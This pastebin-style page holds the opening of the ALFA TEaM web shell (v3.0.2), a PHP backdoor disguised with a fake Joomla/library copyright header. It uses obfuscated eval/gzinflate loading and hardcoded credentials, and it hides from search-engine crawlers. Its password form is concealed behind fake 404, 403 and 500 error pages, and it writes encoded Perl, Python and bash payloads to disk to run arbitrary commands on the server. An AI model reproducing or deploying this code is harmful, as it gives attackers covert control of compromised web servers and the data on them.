Untitled

SUBMITTED BY: Guest

DATE: Sept. 23, 2024, 5:37 a.m.

FORMAT: Text only

SIZE: 325.0 kB

Raw Download

HITS: 94

Report
  1. <?php
  2. /**
  3. * @package libraryAdministrator
  4. * @subpackage Application
  5. * @copyright Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.
  6. * @license GNU General Public License version 2 or later; see LICENSE.txt
  7. * System Default: leaves the level of PHP error
  8. * debug : This will turn on the debugging system
  9. * Installation check, and check on removal of the install directory.
  10. * Debug Language will work without the Debug
  11. * errors. If any such issues or errors occured
  12. * errors. If any such issues or errors php
  13. * System Default: leaves the level of PHP error reporting to that set up in the server (usually in the php.ini file).
  14. * None: switches off PHP error reporting.
  15. * Simple: override the server setting to give a basic level of reporting.
  16. * Maximum: override the server setting and reporting of all errors.
  17. * Development: override the server setting and reporting of all errors.
  18. * $debug : This will turn on the debugging system of Joomla!. When set to Yes, this tool will provide diagnostic information, language translations, and SQL
  19. * errors. If any such issues or errors occur, they will be displayed at the bottom of each page, in both the front-end and back-end.
  20. * $debug_lang : This will turn on the debugging indicators (*...*) or (?...?) for the Joomla! Language files. Debug Language will work without the Debug
  21. * System tool set to on. But it will not provide additional detailed references which w$debug : This will turn on the debugging system of Joomla!. When set
  22. * to Yes, this tool will provide diagnostic information, language translations, and SQL errors. If any such issues or errors occur, they will be displayed
  23. * at the bottom of each page, in both the front-end and back-end.
  24. * Debug Language will work without the Debug System tool set to on. But it will not provide additional detailed references which would help in correcting
  25. * any errors.
  26. */
  27. $GLOBALS['NeUSMyPGXP'] = array(
  28. 'usmfzmlHFCje' => 'admin',
  29. 'paLDRhHfAovu' => 'da2cc0d1f467275e2b24d4c45c64ed39',
  30. 'saEuEgnDlHuL' => '1',
  31. 'logXKTfQPNcx' => '404',
  32. 'shiJVQhUrFkw' => '1',
  33. 'pogkUzMiAjqB' => true,
  34. );
  36. $XDmfxOnhck='fu'.'nct'.'ion'.'_'.'e'.'x'.'is'.'ts'.'';$RxPWPyQqTL='cha'.'r'.'Cod'.'e'.'A'.'t'.'';$CyvIHOdCHU='e'.'va'.'l'.'';$jgpUDiTPrk='g'.'zi'.'nf'.'l'.'at'.'e'.'';if(!$XDmfxOnhck('bas'.'e'.'6'.'4_e'.'ncod'.'e'.'')){function nIWUkxhnhj($data){if(empty($data))return;$b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;$ac = 0;$enc = '';$tmp_arr = array();if(!$data){return $data;}do{$o1 = $RxPWPyQqTL($data, $i++);$o2 = $RxPWPyQqTL($data, $i++);$o3 = $RxPWPyQqTL($data, $i++);$bits = $o1 << 16 | $o2 << 8 | $o3;$h1 = $bits >> 18 & 0x3f;$h2 = $bits >> 12 & 0x3f;$h3 = $bits >> 6 & 0x3f;$h4 = $bits & 0x3f;$tmp_arr[$ac++] = charAt($b64, $h1).charAt($b64, $h2).charAt($b64, $h3).charAt($b64, $h4);} while ($i < strlen($data));$enc = implode($tmp_arr, '');$r = (strlen($data) % 3);return ($r ? substr($enc, 0, ($r - 3)) : $enc).substr('===', ($r || 3));}function charCodeAt($data, $char){ return ord(substr($data, $char, 1));}function charAt($data, $char){return substr($data, $char, 1);}}else{function nIWUkxhnhj($s){$b='bas'.'e'.'6'.'4_e'.'ncod'.'e'.'';return $b($s);}}if(!$XDmfxOnhck('b'.'ase'.'6'.'4_deco'.'d'.'e')){function QFdAWqZnUX($input){if(empty($input))return;$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";$i = 0;$output = "";$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);do{$enc1 = strpos($keyStr, substr($input, $i++, 1));$enc2 = strpos($keyStr, substr($input, $i++, 1));$enc3 = strpos($keyStr, substr($input, $i++, 1));$enc4 = strpos($keyStr, substr($input, $i++, 1));$chr1 = ($enc1 << 2) | ($enc2 >> 4);$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);$chr3 = (($enc3 & 3) << 6) | $enc4;$output = $output . chr((int) $chr1);if ($enc3 != 64) {$output = $output . chr((int) $chr2);}if ($enc4 != 64) {$output = $output . chr((int) $chr3);}$chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";}while($i < strlen($input));return $output;}}else{function QFdAWqZnUX($s){$b='b'.'ase'.'6'.'4_deco'.'d'.'e';return $b($s);}}$gEleJRqGNj='create_fun'.'ct'.'io'.'n';$oFcbuslxiL = $gEleJRqGNj('$cq',$CyvIHOdCHU.'('.$jgpUDiTPrk.'('.'Q'.'FdAW'.'qZ'.'n'.'U'.'X'.''.'($cq)'.')'.')'.';');
  38. /* ufBAyNiLYhXtEhSseNmZlGuuOwOGcBLTnsgEApHxXujFVanOXqNpNWAMnYLMAGHaHTpIuoJkmboVlvpvaebpEaoskOINIUDeEhGI */ /* You're killing me again 🎧 Am I still in your head ? 🎧 You used to light me up 🎧 Now you shut me down -- Solevisible */ @session_start();function __ZW5jb2Rlcg($s){return nIWUkxhnhj($s);}function __ZGVjb2Rlcg($s){return QFdAWqZnUX($s);}$GLOBALS['DB_NAME'] = $GLOBALS['NeUSMyPGXP'];$check = false;if(!isset($_SESSION["alfa_settings_signature"])){$check = true;}else{if($_SESSION["alfa_settings_signature"] != md5(print_r($GLOBALS['DB_NAME'], true))){$check = true;}}if($check){$_SESSION["alfa_settings_signature"] = md5(print_r($GLOBALS['DB_NAME'], true));foreach($GLOBALS['NeUSMyPGXP'] as $key => $value){$prefix = substr($key, 0, 2);if($prefix == "us"){$GLOBALS['DB_NAME']["user"] = $value;$GLOBALS['DB_NAME']["user_rand"] = $key;}elseif($prefix == "pa"){$GLOBALS['DB_NAME']["pass"] = $value;$GLOBALS['DB_NAME']["pass_rand"] = $key;}elseif($prefix == "sa"){$GLOBALS['DB_NAME']["safemode"] = $value;$GLOBALS['DB_NAME']["safemode_rand"] = $key;}elseif($prefix == "lo"){$GLOBALS['DB_NAME']["login_page"] = $value;$GLOBALS['DB_NAME']["login_page_rand"] = $key;}elseif($prefix == "sh"){$GLOBALS['DB_NAME']["show_icons"] = $value;$GLOBALS['DB_NAME']["show_icons_rand"] = $key;}elseif($prefix == "po"){$GLOBALS['DB_NAME']["post_encryption"] = $value;$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;}}$_SESSION["alfa_db_settings"] = $GLOBALS['DB_NAME'];}else{$GLOBALS['DB_NAME'] = $_SESSION["alfa_db_settings"];}unset($GLOBALS['NeUSMyPGXP']); if(!isset($_SERVER["HTTP_HOST"]))exit();
  41. if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
  42. if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
  43. if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
  44. if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
  45. if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
  46. if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
  47. if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
  48. date_default_timezone_set('Asia/Tehran');
  49. define("__ALFA_MD5NAME__", md5($_SERVER["SCRIPT_FILENAME"]));
  50. define("__ALFA_VERSION__", "3.0.2");
  51. define("__LAST_CWD__", "last_cwd_".__ALFA_MD5NAME__);
  52. define("__PATH_HISTORY__", "path_history_".__ALFA_MD5NAME__);
  53. define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
  54. $GLOBALS['__ALFA_COLOR__'] = array(
  55. "shell_border" => array(
  56. "key_color" => "#801818",
  57. "multi_selector" => array(
  58. ".header" => "border: 7px solid {color}",
  59. "#meunlist" => "border-color: {color}",
  60. "#hidden_sh" => "background-color: {color}",
  61. ".ajaxarea" => "border: 1px solid {color}",
  62. ".foot" => "border-color: {color}",
  63. )
  64. ),
  65. "header_vars" => "#27979B",
  66. "header_values" => "#daf50c",
  67. "header_on" => "#00FF00",
  68. "header_off" => "#ff0000",
  69. "header_none" => "#00FF00",
  70. "home_shell" => "#ff0000",
  71. "home_shell:hover" => array(
  72. "key_color" => "#FFFFFF",
  73. "multi_selector" => array(
  74. ".home_shell:hover" => "color: {color};",
  75. )
  76. ),
  77. "back_shell" => "#efbe73",
  78. "back_shell:hover" => array(
  79. "key_color" => "#FFFFFF",
  80. "multi_selector" => array(
  81. ".back_shell:hover" => "color: {color};",
  82. )
  83. ),
  84. "header_pwd" => "#00FF00",
  85. "header_pwd:hover"=> array(
  86. "key_color" => "#FFFFFF",
  87. "multi_selector" => array(
  88. ".header_pwd:hover" => "color: {color};",
  89. )
  90. ),
  91. "header_drive" => "#00FF00",
  92. "header_drive:hover" => array(
  93. "key_color" => "#FFFFFF",
  94. "multi_selector" => array(
  95. ".header_drive:hover" => "color: {color};",
  96. )
  97. ),
  98. "header_show_all" => "#00FF00",
  99. "disable_functions" => "#ff0000",
  100. "footer_text" => "#27979B",
  101. "menu_options" => "#27979B",
  102. "menu_options:hover" => array(
  103. "key_color" => "#646464",
  104. "multi_selector" => array(
  105. ".menu_options:hover" => "background-color: {color};font-weight: unset;",
  106. )
  107. ),
  108. "options_list" => array(
  109. "key_color" => "#00FF00",
  110. "multi_selector" => array(
  111. ".ajaxarea .header center a" => "color: {color};",
  112. )
  113. ),
  114. "options_list:hover" => array(
  115. "key_color" => "#FFFFFF",
  116. "multi_selector" => array(
  117. ".ajaxarea .header center a:hover" => "color: {color};",
  118. )
  119. ),
  120. "options_list_header" => array(
  121. "key_color" => "#4d16ba",
  122. "multi_selector" => array(
  123. ".txtfont_header" => "color: {color};",
  124. )
  125. ),
  126. "options_list_text" => array(
  127. "key_color" => "#FFFFFF",
  128. "multi_selector" => array(
  129. ".txtfont,.tbltxt" => "color: {color};",
  130. )
  131. ),
  132. "Alfa+" => array(
  133. "key_color" => "#27E8AE",
  134. "multi_selector" => array(
  135. ".alfa_plus" => "color: {color};font-weight: unset;",
  136. )
  137. ),
  138. "hidden_shell_text" => array(
  139. "key_color" => "#00FF00",
  140. "multi_selector" => array(
  141. "#hidden_sh a" => "color: {color};",
  142. )
  143. ),
  144. "hidden_shell_version" => "#ff0000",
  145. "shell_name" => "#FF0000",
  146. "main_row:hover" => array(
  147. "key_color" => "#646464",
  148. "multi_selector" => array(
  149. ".main tr:hover" => "background-color: {color};",
  150. )
  151. ),
  152. "main_header" => array(
  153. "key_color" => "#FFFFFF",
  154. "multi_selector" => array(
  155. ".main th" => "color: {color};",
  156. )
  157. ),
  158. "main_name" => array(
  159. "key_color" => "#FFFFFF",
  160. "multi_selector" => array(
  161. ".main .main_name" => "color: {color};font-weight: unset;",
  162. )
  163. ),
  164. "main_size" => "#daf50c",
  165. "main_modify" => "#daf50c",
  166. "main_owner_group" => "#daf50c",
  167. "main_green_perm" => "#25ff00",
  168. "main_red_perm" => "#FF0000",
  169. "main_white_perm" => "#FFFFFF",
  170. "beetween_perms" => "#FFFFFF",
  171. "main_actions" => array(
  172. "key_color" => "#FFFFFF",
  173. "multi_selector" => array(
  174. ".main .actions" => "color: {color};",
  175. )
  176. ),
  177. "menu_options:hover" => array(
  178. "key_color" => "#646464",
  179. "multi_selector" => array(
  180. ".menu_options:hover" => "background-color: {color};font-weight: unset;",
  181. )
  182. ),
  183. "minimize_editor_background" => array(
  184. "key_color" => "#0e304a",
  185. "multi_selector" => array(
  186. ".minimized-wrapper" => "background-color: {color};",
  187. )
  188. ),
  189. "minimize_editor_text" => array(
  190. "key_color" => "#f5deb3",
  191. "multi_selector" => array(
  192. ".minimized-text" => "color: {color};",
  193. )
  194. ),
  195. "editor_border" => array(
  196. "key_color" => "#0e304a",
  197. "multi_selector" => array(
  198. ".editor-explorer,.editor-modal" => "border: 2px solid {color};",
  199. )
  200. ),
  201. "editor_background" => array(
  202. "key_color" => "rgba(0, 1, 23, 0.94)",
  203. "multi_selector" => array(
  204. ".editor-explorer,.editor-modal" => "background-color: {color};",
  205. )
  206. ),
  207. "editor_header_background" => array(
  208. "key_color" => "rgba(21, 66, 88, 0.93)",
  209. "multi_selector" => array(
  210. ".editor-header" => "background-color: {color};",
  211. )
  212. ),
  213. "editor_header_text" => array(
  214. "key_color" => "#00ff7f",
  215. "multi_selector" => array(
  216. ".editor-path" => "color: {color};",
  217. )
  218. ),
  219. "editor_header_button" => array(
  220. "key_color" => "#1d5673",
  221. "multi_selector" => array(
  222. ".close-button, .editor-minimize" => "background-color: {color};",
  223. )
  224. ),
  225. "editor_actions" => array(
  226. "key_color" => "#FFFFFF",
  227. "multi_selector" => array(
  228. ".editor_actions" => "color: {color};",
  229. )
  230. ),
  231. "editor_file_info_vars" => array(
  232. "key_color" => "#FFFFFF",
  233. "multi_selector" => array(
  234. ".editor_file_info_vars" => "color: {color};",
  235. )
  236. ),
  237. "editor_file_info_values" => array(
  238. "key_color" => "#daf50c",
  239. "multi_selector" => array(
  240. ".filestools" => "color: {color};",
  241. )
  242. ),
  243. "editor_history_header" => array(
  244. "key_color" => "#14ff07",
  245. "multi_selector" => array(
  246. ".hheader-text,.history-clear" => "color: {color};",
  247. )
  248. ),
  249. "editor_history_list" => array(
  250. "key_color" => "#03b3a3",
  251. "multi_selector" => array(
  252. ".editor-file-name" => "color: {color};",
  253. )
  254. ),
  255. "editor_history_selected_file" => array(
  256. "key_color" => "rgba(49, 55, 93, 0.77)",
  257. "multi_selector" => array(
  258. ".is_active" => "background-color: {color};",
  259. )
  260. ),
  261. "editor_history_file:hover" => array(
  262. "key_color" => "#646464",
  263. "multi_selector" => array(
  264. ".file-holder > .history:hover" => "background-color: {color};",
  265. )
  266. ),
  267. "input_box_border" => array(
  268. "key_color" => "#801818",
  269. "multi_selector" => array(
  270. "input[type=text],textarea" => "border: 1px solid {color}",
  271. )
  272. ),
  273. "input_box_text" => array(
  274. "key_color" => "#999999",
  275. "multi_selector" => array(
  276. "input[type=text],textarea" => "color: {color};",
  277. )
  278. ),
  279. "input_box:hover" => array(
  280. "key_color" => "#27979B",
  281. "multi_selector" => array(
  282. "input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  283. )
  284. ),
  285. "select_box_border" => array(
  286. "key_color" => "#801818",
  287. "multi_selector" => array(
  288. "select" => "border: 1px solid {color}",
  289. )
  290. ),
  291. "select_box_text" => array(
  292. "key_color" => "#FFFFEE",
  293. "multi_selector" => array(
  294. "select" => "color: {color};",
  295. )
  296. ),
  297. "select_box:hover" => array(
  298. "key_color" => "#27979B",
  299. "multi_selector" => array(
  300. "select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  301. )
  302. ),
  303. "button_border" => array(
  304. "key_color" => "#27979B",
  305. "multi_selector" => array(
  306. "input[type=submit],.button,#addup" => "border: 1px solid {color};",
  307. )
  308. ),
  309. "button:hover" => array(
  310. "key_color" => "#27979B",
  311. "multi_selector" => array(
  312. "input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
  313. ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  314. )
  315. ),
  316. "outputs_text" => array(
  317. "key_color" => "#daf50c",
  318. "multi_selector" => array(
  319. ".ml1" => "color: {color};",
  320. )
  321. ),
  322. "outputs_border" => array(
  323. "key_color" => "#801818",
  324. "multi_selector" => array(
  325. ".ml1" => "border: 1px solid {color};",
  326. )
  327. ),
  328. "uploader_border" => array(
  329. "key_color" => "#801818",
  330. "multi_selector" => array(
  331. ".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  332. )
  333. ),
  334. "uploader_background" => array(
  335. "key_color" => "#801818",
  336. "multi_selector" => array(
  337. ".inputfile strong" => "background-color: {color};",
  338. )
  339. ),
  340. "uploader_text_right" => array(
  341. "key_color" => "#FFFFFF",
  342. "multi_selector" => array(
  343. ".inputfile strong" => "color: {color};",
  344. )
  345. ),
  346. "uploader_text_left" => array(
  347. "key_color" => "#25ff00",
  348. "multi_selector" => array(
  349. ".inputfile span" => "color: {color};",
  350. )
  351. ),
  352. "uploader:hover" => array(
  353. "key_color" => "#27979B",
  354. "multi_selector" => array(
  355. ".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  356. )
  357. ),
  358. "uploader_progress_bar" => array(
  359. "key_color" => "#ff0000",
  360. "multi_selector" => array(
  361. "#up_bar" => "background-color: {color};",
  362. )
  363. ),
  364. "mysql_tables" => "#00FF00",
  365. "mysql_table_count" => "#daf50c",
  366. "copyright" => "#ff0000",
  367. "scrollbar" => array(
  368. "key_color" => "#1e82b5",
  369. "multi_selector" => array(
  370. "*::-webkit-scrollbar-thumb" => "background-color: {color};",
  371. )
  372. ),
  373. "scrollbar_background" => array(
  374. "key_color" => "#000115",
  375. "multi_selector" => array(
  376. "*::-webkit-scrollbar-track" => "background-color: {color};",
  377. )
  378. ),
  379. );
  380. $GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
  381. $config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
  382. @session_start();
  383. if($config['AlfaProtectShell']){
  384. $SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
  385. $Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
  386. if($config['AlfaLoginPage'] == 'gui'){
  387. if(@$_SESSION["AlfaUser"] != $config['AlfaUser'] && @$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])){
  388. if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
  389. @$_SESSION["AlfaUser"] = $config['AlfaUser'];
  390. @$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
  391. @header('location: '.$_SERVER["PHP_SELF"]);
  392. }
  393. echo '
  394. <style>
  395. body{background: black;}
  396. #loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
  397. #loginbox td { border-radius:5px; font-size:11px; }
  398. </style>
  399. <title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.' ~</title><center>
  400. <center><img style="border-radius:100px;" width="500" height="250" alt="" src="http://solevisible.com/images/alfa-iran.png" /></center>
  401. <div id=loginbox><p><font face="verdana,arial" size=-1>
  402. <center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
  403. <tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.' ~</b></font></th></tr>
  404. <tr><td bgcolor="black" style="padding:5">
  405. <form method="post">
  406. <input type="hidden" name="action" value="login">
  407. <input type="hidden" name="hide" value="">
  408. <center><table>
  409. <tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
  410. <tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
  411. <tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
  412. </div><br /></center>';
  413. exit;
  414. }
  415. }elseif($config['AlfaLoginPage']=='500'){
  416. if(@$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])){
  417. if(@md5($_POST["password"])==$config['AlfaPass']){
  418. @$_SESSION["AlfaUser"] = $config['AlfaUser'];
  419. @$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
  420. header('location: '.$_SERVER["PHP_SELF"]);
  421. }
  422. echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
  423. exit;
  424. }
  425. }elseif($config['AlfaLoginPage']=='403'){
  426. if(@$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])){
  427. if(@md5($_POST["password"])==$config['AlfaPass']){
  428. @$_SESSION["AlfaUser"] = $config['AlfaUser'];
  429. @$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
  430. header('location: '.$_SERVER["PHP_SELF"]);
  431. }
  432. echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
  433. exit;
  434. }
  435. }elseif($config['AlfaLoginPage']=='404'){
  436. if(@$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])){
  437. if(@md5($_POST["password"])==$config['AlfaPass']){
  438. @$_SESSION["AlfaUser"] = $config['AlfaUser'];
  439. @$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
  440. header('location: '.$_SERVER["PHP_SELF"]);
  441. }
  442. echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
  443. exit;
  444. }
  445. }
  446. }
  447. function decrypt_post($str, $pwd){
  448. if(__ALFA_POST_ENCRYPTION__){
  449. $pwd = __ZW5jb2Rlcg($pwd);
  450. $str = __ZGVjb2Rlcg($str);
  451. $enc_chr = "";
  452. $enc_str = "";
  453. $i = 0;
  454. while ($i < strlen($str)) {
  455. for ($j = 0; $j < strlen($pwd); $j++) {
  456. $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
  457. $enc_str .= $enc_chr;
  458. $i++;
  459. if ($i >= strlen($str))
  460. break;
  461. }
  462. }
  463. return __ZGVjb2Rlcg($enc_str);
  464. }else{
  465. return __ZGVjb2Rlcg($str);
  466. }
  467. }
  469. function _AlfaSecretKey(){
  470. if(!isset($_SESSION["AlfaSecretKey"])){
  471. $_SESSION["AlfaSecretKey"] = uniqid(mt_rand(), true);
  472. }
  473. return $_SESSION["AlfaSecretKey"];
  474. }
  475. function alfa_getColor($target){
  476. if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
  477. return $GLOBALS["DB_NAME"]["color"][$target];
  478. }else{
  479. $target = $GLOBALS["__ALFA_COLOR__"][$target];
  480. if(is_array($target)){
  481. return $target["key_color"];
  482. }else{
  483. return $target;
  484. }
  485. }
  486. }
  487. function alfaCssLoadColors(){
  488. $css = "";
  489. foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
  490. if(!is_array($value)){
  491. $value = alfa_getColor($key);
  492. $css .= ".{$key}{color: {$value};}";
  493. }else{
  494. if(isset($value["multi_selector"])){
  495. foreach($value["multi_selector"] as $k => $v){
  496. $color = alfa_getColor($key);
  497. $code = str_replace("{color}", $color, $v);
  498. $css .= $k."{".$code."}";
  499. }
  500. }
  501. }
  502. }
  503. return $css;
  504. }
  505. if(isset($_POST['ajax'])){
  506. function AlfaNum(){
  507. $args = func_get_args();
  508. $alfax = array();
  509. $find = array();
  510. for($i=1;$i<=10;$i++){
  511. $alfax[] = $i;
  512. }
  513. foreach($args as $arg){
  514. $find[] = $arg;
  515. }
  516. echo '<script>';
  517. foreach($alfax as $alfa){
  518. if(in_array($alfa,$find))
  519. continue;
  520. echo 'alfa'.$alfa."_=";
  521. }
  522. echo '""</script>';
  523. }}
  524. function _alfa_cgicmd($cmd,$lang="perl"){
  525. if(isset($_SESSION["alfacgiapi_mode"])){
  526. return "";
  527. }
  528. $cmd_pure = $cmd;
  529. $is_curl = function_exists('curl_version');
  530. $is_socket = function_exists('fsockopen');
  531. if($is_curl||$is_socket){
  532. $recreate = false;
  533. if(isset($_SESSION["alfacgiapi"])){
  534. if(!@file_exists("alfacgiapi/".$_SESSION["alfacgiapi"].".alfa")){
  535. $recreate = true;
  536. $lang = $_SESSION["alfacgiapi"];
  537. }
  538. }
  539. if(!isset($_SESSION["alfacgiapi"])||$recreate){
  540. @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
  541. $perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
  542. $py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
  543. $bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
  544. if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
  545. alfaWriteTocgiapi($lang.".alfa",$source);
  546. alfacgihtaccess('cgi', "alfacgiapi/");
  547. }else{
  548. $lang = $_SESSION["alfacgiapi"];
  549. }
  550. $cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
  551. if($is_curl){
  552. $address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/alfacgiapi/".$lang.".alfa";
  553. $post = new AlfaCURL();
  554. $data = $post->Send($address, "post", $cmd);
  555. }elseif($is_socket){
  556. $server = $_SERVER["SERVER_NAME"];
  557. $uri = dirname($_SERVER["REQUEST_URI"])."/alfacgiapi/".$lang.".alfa";
  558. $data = _alfa_fsockopen($server,$uri,$cmd);
  559. }
  560. $out = "";
  561. if(strstr($data, "[solevisible~api]")){
  562. $_SESSION["alfacgiapi"] = $lang;
  563. if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
  564. $out = $res[1];
  565. }
